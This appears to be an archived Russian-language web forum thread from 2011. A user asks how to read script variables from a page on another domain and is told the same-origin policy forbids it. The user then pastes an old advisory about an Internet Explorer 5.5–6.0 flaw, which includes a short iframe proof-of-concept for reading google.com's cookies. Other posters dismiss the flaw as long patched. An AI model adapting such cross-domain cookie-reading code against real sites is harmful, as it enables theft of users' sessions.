Просмотр полной версии : как подгрузить js код со страницы!??
goldcode
24.08.2011, 21:00
Всем привет!
Есть файл file.html он расположен на другом сервере
примерное содержание
<html>
<body>
text
<script>
str = '112233';
</script>
<body>
</html>
как мне на свой сайт подгрузить этот код что бы я мог обратится к str и другими элиментам.
пробывал через фрём но почему то не может подключится если файл расположен на другом сервер а если рядом тогда без проблем.
???
dmitriymar
24.08.2011, 22:43
goldcode,
почитай форум,погугли-этот вопрос регулярно раз в неделю-две задаётся
goldcode
24.08.2011, 22:59
3 день гуглю
dmitriymar
24.08.2011, 23:28
3 день гуглю
странно.... ответ -нет ,нельзя
ответ -нет ,нельзя
о да, раз в неделю стабильно =))
goldcode
25.08.2011, 14:56
можно
Доступ к данным других доменов в Internet Explorer
Элементы <frame> и <iframe> могут содержать URL других доменов или протоколов, поэтому для них созданы более строгие правила защиты, которые предотвращают доступ из фрейма одного домена к содержанию другого домена.
Есть несколько способов обратится к <iframe> (или <frame>) документам в Internet Explorer (<iframe id="oFrameId">):
- oFrameId.document
- document.all.oFrameId.contentWindow.document
- frames.oFrameId.document
- И другие
Все эти методы правильно обрабатываются Internet Explorer и он предотвращает любую попытку обращения к документу, который принадлежит другому домену.
Однако Microsoft пропустил одно важное свойство - "Document". Обнаружено, что когда используется "oIFrameElement.Document", и возращенный документ содержится внутри frame, не происходит никаких проверок защиты, находится ли документ в другом домене. Уязвимость позволяет атакующему получить доступ к DOM другого домена, и украсть куки любого сайта, читать локальные файлы и выполнять произвольный код на системе клиента.
Пример (читает куки google.com):
<script language="jscript">
onload=function () {
// Timer necessary to prevent weird behavior in some conditions
setTimeout(
function () {
alert(document.getElementById("oVictim").Document.cookie);
},
100
);
}
</script>
<iframe src="http://google.com" id="oVictim"></iframe>
Уязвимость обнаружена в Internet Explorer 5.5sp2-6.0.
Уязвимость обнаружена в Internet Explorer 5.5sp2-6.0.
Даже в IE6 не работает, очевидно закрыли всё давно. Пробовали бы хоть перед тем как писать что-то.
Уязвимость обнаружена в Internet Explorer 5.5sp2-6.0.
Очень актуально.
Уязвимость обнаружена в Internet Explorer 5.5sp2-6.0.Хаха, возвращаемся в 90-ые =)
vBulletin® v3.6.7, Copyright ©2000-2025, Jelsoft Enterprises Ltd. Перевод: zCarot